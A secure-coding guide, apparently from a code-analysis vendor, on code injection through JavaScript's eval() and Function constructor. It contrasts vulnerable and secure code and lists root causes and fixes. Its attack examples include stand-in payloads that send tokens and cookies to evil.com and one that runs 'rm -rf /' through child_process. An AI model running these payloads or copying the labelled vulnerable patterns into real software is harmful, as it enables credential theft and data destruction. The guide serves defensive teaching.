Code injection via eval() and Function constructor in JavaScript

Critical Risk command-injection
javascriptnodejsevalfunction-constructorcode-injectiondynamic-executionrce

What it is

A critical security vulnerability where user-controlled input is passed to JavaScript's eval() function, Function() constructor, or similar dynamic code execution mechanisms without proper sanitization. This allows attackers to execute arbitrary JavaScript code in the application context, potentially leading to data theft, session hijacking, DOM manipulation, or complete client-side compromise.

// VULNERABLE: eval() with user input

// VULNERABLE: Mathematical expression evaluation
function calculateExpression(userInput) {
    // DANGEROUS: executes arbitrary JavaScript
    return eval(userInput);
}

// VULNERABLE: JSON parsing with eval()
function parseUserData(userDataString) {
    try {
        // DANGEROUS: should use JSON.parse()
        return eval('(' + userDataString + ')');
    } catch (e) {
        return null;
    }
}

// VULNERABLE: Function constructor
function createCustomFilter(filterExpression) {
    // DANGEROUS: creates function from user input
    const filterFunc = new Function('item', `return ${filterExpression}`);
    return data.filter(filterFunc);
}

// VULNERABLE: Template-based code generation
function applyBusinessRule(ruleName, ruleExpression) {
    const ruleCode = `
        function ${ruleName}(data) {
            return ${ruleExpression};
        }
        return ${ruleName};
    `;
    // DANGEROUS: evaluates constructed code
    return eval(ruleCode);
}

/*
Attack examples:

1. calculateExpression("1+1; document.cookie='stolen'; alert('XSS')")
2. parseUserData("({name: 'test', exploit: (function(){fetch('/api/admin/delete')})()})")
3. filterExpression = "true; fetch('http://evil.com?data='+localStorage.token)"
*/
// SECURE: Safe alternatives to eval()

// SECURE: Safe mathematical expression evaluation
const math = require('mathjs');

function calculateExpressionSafe(userInput) {
    // Validate input format
    const mathPattern = /^[0-9+\-*\/\(\)\s\.]+$/;
    
    if (!userInput || typeof userInput !== 'string' || !mathPattern.test(userInput)) {
        throw new Error('Invalid expression');
    }
    
    try {
        const result = math.evaluate(userInput);
        
        if (typeof result !== 'number' || !isFinite(result)) {
            throw new Error('Invalid result');
        }
        
        return result;
    } catch (error) {
        throw new Error('Evaluation failed');
    }
}

// SECURE: Safe JSON parsing
function parseUserDataSafe(userDataString) {
    try {
        // Always use JSON.parse() instead of eval()
        const parsed = JSON.parse(userDataString);
        
        // Validate structure
        if (typeof parsed !== 'object' || parsed === null) {
            throw new Error('Invalid data structure');
        }
        
        // Validate allowed keys
        const allowedKeys = ['name', 'email', 'age'];
        for (const key of Object.keys(parsed)) {
            if (!allowedKeys.includes(key)) {
                throw new Error(`Invalid key: ${key}`);
            }
        }
        
        return parsed;
    } catch (error) {
        throw new Error('Invalid JSON');
    }
}

// SECURE: Predefined filter functions
function createCustomFilterSafe(filterType) {
    // Use allowlist of predefined filters
    const allowedFilters = {
        'active': (item) => item.status === 'active',
        'premium': (item) => item.tier === 'premium',
        'recent': (item) => Date.now() - new Date(item.createdAt) < 86400000
    };
    
    if (!allowedFilters[filterType]) {
        throw new Error('Invalid filter type');
    }
    
    return data.filter(allowedFilters[filterType]);
}

💡 Why This Fix Works

The vulnerable code uses eval() and Function() constructor with user input, allowing attackers to execute arbitrary JavaScript code. The secure version replaces eval() with safe alternatives: JSON.parse() for parsing, math.js for mathematical expressions, and configuration objects for dynamic functionality. It implements strict input validation with allowlists and never dynamically generates or executes code from user input, preventing code injection attacks.

Why it happens

JavaScript code uses eval() to execute user-provided strings as code without any sanitization or validation. Common patterns include eval(req.query.expression), eval(userInput), or eval(config.formula) where the input source is controllable by users through query parameters, POST body data, form inputs, or configuration files. Attackers can inject arbitrary JavaScript like "process.mainModule.require('child_process').execSync('rm -rf /')" in Node.js or "document.location='https://evil.com?cookie='+document.cookie" in browsers to achieve code execution or data exfiltration.

Root causes

Passing User Input Directly to eval() Function

JavaScript code uses eval() to execute user-provided strings as code without any sanitization or validation. Common patterns include eval(req.query.expression), eval(userInput), or eval(config.formula) where the input source is controllable by users through query parameters, POST body data, form inputs, or configuration files. Attackers can inject arbitrary JavaScript like "process.mainModule.require('child_process').execSync('rm -rf /')" in Node.js or "document.location='https://evil.com?cookie='+document.cookie" in browsers to achieve code execution or data exfiltration.

Function() Constructor with Untrusted Data

Applications use the Function() constructor as an alternative to eval(), passing user-controlled strings as function body or arguments: new Function(userCode)() or new Function('x', 'y', userExpression). While some developers believe Function() is safer than eval(), it provides the same code execution capabilities. Attackers can exploit this to execute arbitrary code with the same privileges as the application, access closure variables, manipulate DOM, or in Node.js contexts, require modules and execute system commands.

eval() Misused for JSON Parsing

Legacy JavaScript code or developers unfamiliar with JSON.parse() use eval() to parse JSON data from APIs, user input, or configuration: var data = eval('(' + jsonString + ')') or eval(responseText). While this worked in early JavaScript before JSON.parse() existed, it executes any JavaScript code embedded in the input string, not just JSON. Attackers can inject function calls, constructor patterns, or prototype pollution payloads that execute when eval() processes the malicious JSON-like string.

Dynamic Code String Construction

Applications build JavaScript code strings by concatenating user input with code templates: eval('var result = ' + userValue + ' * 2') or eval('user.' + userProperty + ' = ' + userNewValue). This pattern is common in calculator features, expression evaluators, dynamic property setters, and configuration systems. Even with partial input validation, attackers can break out of the intended context using quotes, semicolons, or comment characters to inject arbitrary code: userValue='1; maliciousCode(); //' to execute maliciousCode().

Unvalidated Dynamic Code Generation

Applications generate and execute dynamic code based on user preferences, configuration options, or business logic without proper input validation or sandboxing. Examples include plugin systems that execute user-provided JavaScript, template engines that allow code execution in templates, form builders that evaluate custom validation rules, and reporting tools that execute user-defined calculations. The lack of allowlist validation, proper sandboxing (using isolated contexts or Web Workers), or Content Security Policy restrictions enables attackers to inject malicious code through seemingly benign features.

Fixes

1

Never Use eval() with User Input - Eliminate or Replace

Audit entire codebase to identify and remove all eval() usage with user-controllable input. Use ESLint rules like 'no-eval' to prevent eval() introduction in new code. Replace eval() with safer alternatives specific to the use case: JSON.parse() for parsing data, object property access (obj[key]) for dynamic properties, switch statements or object lookups for routing logic, and dedicated libraries for expression evaluation. If eval() absolutely must be used (rare legacy cases), run it in a completely isolated sandbox (separate V8 isolate, Web Worker, or iframe with restrictive CSP) with no access to application context.

2

Use JSON.parse() for JSON Data Parsing

Replace all instances of eval() used for JSON parsing with JSON.parse(). Use JSON.parse(jsonString) which safely parses JSON without executing code. Implement error handling with try/catch to handle malformed JSON gracefully. For additional security, validate parsed JSON structure using JSON Schema validation libraries (ajv, joi) to ensure data matches expected format. Never use eval('(' + data + ')') patterns that were common in legacy code before JSON.parse() became standard. JSON.parse() is significantly faster and immune to code injection since it only parses data, never executes code.

3

Use Dedicated Expression Evaluation Libraries

For calculator features, formula evaluation, or mathematical expressions, use specialized safe expression parsers like math.js, expr-eval, or jexl instead of eval(). These libraries parse and evaluate mathematical/logical expressions without allowing arbitrary code execution. Configure expression parsers with restricted function sets and disable potentially dangerous features. For example, math.js allows configuring allowed functions: math.evaluate(userExpression, scope, {allow: ['add', 'multiply']}). Implement timeouts to prevent denial-of-service through complex expressions. Validate expressions before evaluation using library-provided parsing functions to detect syntax errors safely.

4

Implement Strict Allowlist Input Validation

For scenarios where user input controls behavior, implement allowlist-based validation instead of executing user code. Create predefined sets of allowed values, functions, or operations that users can select. Use object lookups or switch statements to map user selections to pre-defined safe handlers: const operations = {add: (a,b) => a+b, multiply: (a,b) => a*b}; result = operations[userOperation](x, y). Validate that user input exactly matches allowlisted values before any processing. Reject any input containing special characters, quotes, semicolons, or code-like patterns. Never attempt to sanitize code for eval() - sanitization bypasses are common.

5

Replace Dynamic Code with Configuration Objects

Refactor features that use dynamic code generation to instead use configuration objects or strategy patterns. For plugin systems, use module imports with allowlisted plugin names rather than executing user code. For template rendering, use logic-less templating engines (Mustache, Handlebars in logic-less mode) that separate data from code. For dynamic property access, use object property notation: obj[userKey] instead of eval('obj.' + userKey). For business rule engines, use declarative rule definition formats (JSON-based rules) with a safe interpreter rather than executable code strings. This architectural change eliminates code injection vectors while maintaining flexibility.

Detect This Vulnerability in Your Code

Sourcery automatically identifies code injection via eval() and function constructor in javascript and many other security issues in your codebase.